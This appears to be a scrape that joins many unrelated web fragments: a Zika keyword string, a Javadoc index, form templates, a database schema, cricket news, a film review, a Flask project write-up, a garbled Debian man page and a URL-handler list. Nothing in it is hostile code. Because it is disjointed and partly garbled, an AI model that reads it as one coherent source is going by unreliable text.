ZIKV Zika virus infection Negative samples reported Thailand French cases DENV outbreak Canadian Positive Thai Thailand, serological testing (), Med Thailand. confirmed traveler PRNT Phetchabun RT-PCR Trop dengue detected evidence infections number patients sample AJ, Asian Health IgM Infect Polynesia Yap acute antibodies blood case inoculation sequence strains symptoms Department Dis ELISA Figure Hyg Institute KF, MOPH MR, Mallet PCR Public RNA Ratchaburi Research U.S. collected endemic including isolate lineage molecular phylogenetic positive sequencing serum strain travelers


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
E
F
G
H
I
J
L
R
S
T
U
W
G
getHappyEmotionsCount(List<Status>)
- Method in class implementations.
EmotionsCountImpl
getHappyEmotionsCount(List<Status>)
- Method in interface interfaces.
HappyEmotionsCount
getSadEmotionsCount(List<Status>)
- Method in class implementations.
EmotionsCountImpl
getSadEmotionsCount(List<Status>)
- Method in interface interfaces.
SadEmotionsCount
getTweetDistinctWordCount(String, int)
- Method in class implementations.
TweetDistictWordImpl
getTweetDistinctWordCount(String, int)
- Method in interface interfaces.
TweetDistictWord
getTweetDistinctWordCount(String, int)
- Static method in class services.
TwitterService
getTweetEmotion(String)
- Method in class controllers.
TweetEmotionController
getTweetEmotion(String, int)
- Method in class implementations.
TweetEmotionImpl
getTweetEmotion(String, int)
- Method in interface interfaces.
TweetEmotion
getTweetEmotion(String, int)
- Static method in class services.
TwitterService
getTweets(String, int)
- Static method in class services.
TwitterService
getTweetsAsync(String, int)
- Method in class implementations.
SearchTweetsImpl
getTweetsAsync(String, int)
- Method in interface interfaces.
SearchTweets
getTweetsByLocation(double, double, int)
- Static method in class services.
TwitterService
getTweetsByLocationAsync(double, double, int)
- Method in class implementations.
SearchTweetsByLocationImpl
getTweetsByLocationAsync(double, double, int)
- Method in interface interfaces.
SearchTweetsByLocation
getTwitterFactoryInstance()
- Static method in class services.
TwitterService
getTwitterInstance(TwitterFactory)
- Static method in class services.
TwitterService
getUserProfile(String)
- Method in class controllers.
UserProfileController
getUserProfile(String, int)
- Method in class implementations.
UserProfileImpl
getUserProfile(String, int)
- Method in interface interfaces.
UserProfile
getUserProfile(String, int)
- Static method in class services.
TwitterService
A
B
C
E
F
G
H
I
J
L
R
S
T
U
W
Skip navigation links
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes


PaymentRequest API demos
PaymentRequest API specification
[
repo
]
#
Demo
1
Simple request with no shipping
2
Request shipping address with free worldwide delivery
3
Request shipping address and calculate shipping options
#
Tests
1
PaymentRequest Tests
[
demo repo
]


{{ form.csrf_token }}
Sign Up
{{ form.user_name() }}
User Name
{{ form.email() }}
Email
{{ form.password() }}
Password
{{ form.repassword() }}
RePassword
{{ message }}
Already have account?
Sign In


| Created: | 1/27/2021 3:53:35 PM |
| Modified: | 1/27/2021 3:53:35 PM |
| Project: | |
| Advanced: |
| Attribute |
|
Public serial id |
|
Details:
|
|
Public integer funding_source_id |
|
Details:
|
|
Public integer fund_ratio_id |
|
Details:
|
|
Public varchar(255) created_by |
|
Details:
|
|
Public timestamp with time zone(0) created_at |
|
Details:
|
|
Public timestamp with time zone(0) updated_at |
|
Details:
|
|
Public varchar(255) updated_by |
|
Details:
|
|
Public timestamp with time zone(0) start_date |
|
Details:
|
|
Public timestamp with time zone(0) end_date |
|
Details:
|
| Operation | ||
|
Public funding_sources_fund_ratios_pkey( id: serial, |
||
|
Details:
<<PK>>
|
| Tag | Value |
| Owner | public |
|
Details:
|
| Property | Value |
| isFinalSpecialization: | 0 |


Archer claims he was racially abused in England defeat
by Sports DeskJofra Archer has claimed he was racially abused by a member of the crowd as England lost the first Test to New Zealand by an innings and 65 runs.
The opening match of England's two-Test series against the Black Caps ended in a heavy loss in Mount Maunganui, as Neil Wagner took 5-44 to decimate what was left of the tourists' batting order on Monday.
Archer - who had bowling figures of 1-107 in New Zealand's innings as the hosts declared on 615-9 - put on a stand with Sam Curran (29 not out) in an attempt to rescue a draw, but the 24-year-old eventually succumbed to Wagner on 30.
The Barbados-born paceman then stated afterwards he heard racist insults directed at him from a person in the crowd at the Bay Oval.
"A bit disturbing hearing racial insults today whilst battling to help save my team, the crowd was been amazing this week except for that one guy," Archer tweeted.
England round off their tour of New Zealand with a second and final Test at Seddon Park in Hamilton.


Hey!
This is Aniket. I am a Software Engineer at Uber.
You can get in touch with me @noremap or mail at<EMAIL_ADDRESS>I write a blog at aniketpant.com and keep my code on GitHub.
Hey!
This is Aniket. I am a Software Engineer at Uber.
You can get in touch with me @noremap or mail at<EMAIL_ADDRESS>I write a blog at aniketpant.com and keep my code on GitHub.


'br}
'br}
{\
dh_dkms - correctly handle DKMS usage by a kernel module package
dh_dkms [debhelper options] [-l] [-V[version]] [-- file]
dh_dkms is a debhelper program that is responsible for correctly setting postinst, postrm and dependencies in kernel module packages using s-1DKMSs0.
If a file named debian/package.dkms exists, then different actions are performed, depending on its contents.
It can be a proper configuration file, and in this case it would be installed in the proper directory as dkms.conf.
It can also point to another file (this should be used when the configuration is provided by upstream), and in this case that file will be installed as dkms.conf in the proper directory.
This file can only miss if a filename is provided when calling dh_dkms.
Add code to also support s-1DKMSs0 versions < <IP_ADDRESS>.
\fB-V\fR, \fB-V\fR \fIversion\fR 4
If f(CW*(C`PACKAGE_VERSION*(C' in dkms.conf is set to f(CW*(C`#MODULE_VERSION#*(C', set it to the given version or, if none is given, default to the upstream version of the current package. Otherwise, leave the value specified in dkms.conf.
Don't look for debian/package.dkms or debian/dkms, but install file as dkms.conf.
Note that this command is not idempotent. dh_prep|(1) should be called between invocations of this command. Otherwise, it may cause multiple instances of the same text to be added to maintainer scripts.
IMPORTANT: binary packages using dh_dkms must have a name that ends in '-dkms'.
debhelper|(1)
This program is part of the Debian s-1DKMSs0 package.
David Paleino <dapal@debian.org>


Simply cast your desktop screen to a Promys device.
Get the executable, double-click it. There you go.
Get the DMG file. Open it, double click the application. You can also drag and drop it anywhere on your Mac.
Get the deb package. Install it with: # sudo dpkg -i promys.deb
# sudo dpkg -i promys.deb


Party Girl, 1995
House Music, Pita, and an MLS.*
Seen with Tony in June 1995 at the Angelika.
You very well might have missed Party Girl, which came and went from theaters quicker than you can say "library card." While many reviewers judged it mainly on the merits of lead actress Parker Posey (Tales of the City, Dazed and Confused), with Entertainment Weekly and People magazines giving it "B" ratings, this fun little film rises in ratings appeal when seen from the librarian's point of view.
[INLINE] Our protagonist is Mary, a doyenne of the Downtown scene. When her latest illegal rent party is busted by the police, she is bailed out by her godmother (played by Sasha von Scherler), a NYPL librarian. To pay off her debt, Mary becomes a clerk at a branch library (a Jersey City library posed as a NYPL branch for this film) and is immediately challenged as irresponsible and not up to the "challenge." Mary eventually memorized the DDC20 and begins her quest--better living by getting an MLS.
Along the way, Mary is also involved in helping her disc-jockey friend, Leo (Guillermo Diaz) get a job, and in a romance with falafel vendor Mustafa (Omar Townsend)
I noticed that the scenes I reacted to most did not concur with the audience's. Those who reacted along with me must have also been librarians and other likeminded people. Hearing the librarians' professional bickering, seeing the fans blowing on water-damaged books, and other little touches would most likely only be best appreciated by those in the know. Scene to watch for: Mary confronts a patron who reshelves a book improperly.
What really makes Party Girl stand out, from the MLS (Masters of Libary Science) point of view, is that becoming a librarian is seen a constructive, positive objective, rather than a punishment. Fifty years ago, the worst thing that could have happened to Mary Baily in It's a Wonderful Life is to have become a librarian. After decades of Hollywood showing the profession in the most unflattering poses, Party Girl shows us a hip downtowner deciding to improve her life by getting an MLS. A nice change of pace and certainly worth looking for in the videostores.
Basically, if you are somewhat familiar with libraries, falafel, the Dewey Decimal System, house music, babganoush, or New York City, you will probably enjoy this movie. The perfect break for those times your not at the library yourself.
Note: This review originally appeared under this title in KEYWORDS, the Newsletter of the Queens College Graduate School of Library and Information Studies Student Association. Reprinted with my permission (since I wrote the review and edit the newsletter).
Librarians will also enjoy Desk Set (1957). _________________________________________________________________
Copyright (c) 1997 Seth J. Bookey, New York, NY 10021
More movie reviews by Seth Bookey, with graphics, can be found at http://www.geocities.com/Athens/2679/kino.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


-
codeDeveloping the API
Using the Python Flask Framework I wrote a basic Wrapper API around the Reddit API, that pulled information from Reddit's Database, simplified it, and then returned a JSON Object with the relevant subreddit information. To communicate with Reddit's API I utilized the Requests library to simplify the retrieval of information. Previous to this project, I had no prior experience in developing an API, so I had to do some research as to what framework to use. I chose Flask as opposed to Django because I believe that its implementation allows for an easier and more dynamic development process. In comparison to some of the well known Javascript frameworks like Node, Angular, and Express, I decided to stick to a Python based framework as I've been working on improving my Python skills for a couple months now. On a functional level, it seems as though using Node and Angular to build the API would have allowed for a process that was equally as straight forward.
Python Flask Requests -
fullscreenFront End
In developing the front end, I was initially looking for a css framework that was clean, simple, and easy to work with. No need to reinvent the wheel. I have had some prior experience using Bootstrap, so I decided to try something new and utilize the tools offered by Materialize. Using Materialize's CSS and JS functions, I built the website you see here. To bridge the gap between the back end and the front end I utilized Python Flask's template functionality to render the HTML pages. To then parse through the data passed in to the HTML pages, I utilized Jinja2 to dynamically alter certain div attributes, style, and more.
Python Flask Materialize Jinja2 -
cloudDeployment
To deploy the web app, I had to choose between Heroku and AWS Elastic Beanstalk. I've had some prior experience in using AWS (not EB though), so I decided to use Heroku to learn something new. Getting the application ready for deployment required that I add a requirements.txt file, a runtime.txt file, and a Procfile. In creating the requirements.txt file I decided to install pipreqs which automatically modifies/creates the file with the relevant dependencies. For the Procfile, I utilized Gunicorn to communicate to Heroku what commands to run upon deployment. I then initialized the Heroku project within my application's directory via command line and then pushed to Heroku's version control system.
Heroku Gunicorn Pipreqs -
errorKnown Bugs/Issues Encountered
Throughout the process, I spent most of my time addressing 3rd party related issues. For example, when initially testing out the web app, Gyfcat gifs wouldn't load, Reddit embedded videos wouldn't load, and imgur images would only occasionally show up. So far, I've managed to fix the Gyfcat loading issue by identifying when a url is from gyfcat and then using an Iframe tag instead of img tag. I've attempted to fix imgur's loading issues by altering the imgur url from https://imgur.com/#### to https://i.imgur.com/####.jpg or .gif; however, that still hasn't solved the issue. Other than the 3rd party issues, for a while I was stuck trying to dynamically switch between top, controversial, rising, and new posts and considered creating four different html pages for each. Eventually though, I fully utilized Python Flask's functionality to pass in listing types and subreddit names upon form resubmission and anchor tag execution. I've also been struggling to center the nav-bar title when the browser expands past a certain point. In the future, I would like to add fixes for the mentioned bugs and additional functionality. Ideally, you would be able to save your favorite images, which would be saved in a Mongo DB, for you to then look at later. I would also like to spend more time on the design. It may be a little too simple as it is right now.
Welcome to RTop
RTop is a basic subreddit re-styler that utilizes data pulled from the RTop API to visualize subreddit content. For more information go to the GitHub page or tabs found below. To start, type in the name of a subreddit above. I would recommend /r/earthporn (nature photos).


Citation and Acknowledgements
Citing GeospaceLAB
If GeospaceLAB is used for your scientific work, please mention it in the publication and cite the package: > Cai, L. (2022). GeospaceLAB (Version 0.4.19) [Computer software]. https://doi.org/10.5281/zenodo.5377318.
In addition, please add the in the methods or acknowledgements section the following: “This research has made use of GeospaceLAB v?.?.?, an open-source Python package to manage and visualize data in space physics”. Please include the project logo (see the top) to acknowledge GeospaceLAB in posters or talks.
Acknowledgements
We acknowledge all the dependencies used in developing GeospaceLAB.


--- layout: post title: "블로그" subtitle: "Problems look mighty small from 150 miles up" date: 2017-10-31 10:45:13 -0400 background: '/img/posts/06.jpg' ---
블로그 개설


Discover and Hack URL Handlers
Handlers
-
Steam handler #1
-
app name: Steam path: /Applications/Steam.app
relative-icon-path
url-type
-
app name: Steam path: /Applications/Steam.app
relative-icon-path
url-type
-
Steam handler #2
-
app name: Steam path: /Applications/Steam.app
relative-icon-path
url-type
-
app name: Steam path: /Applications/Steam.app
relative-icon-path
url-type


Idle Graph is an incremental game. The game uses (not in particolar order) Angular 5, Clarity Design System, vis js, swam-numberformat, break_infinity.js, ng2-toastr, and lz-string, moment-js.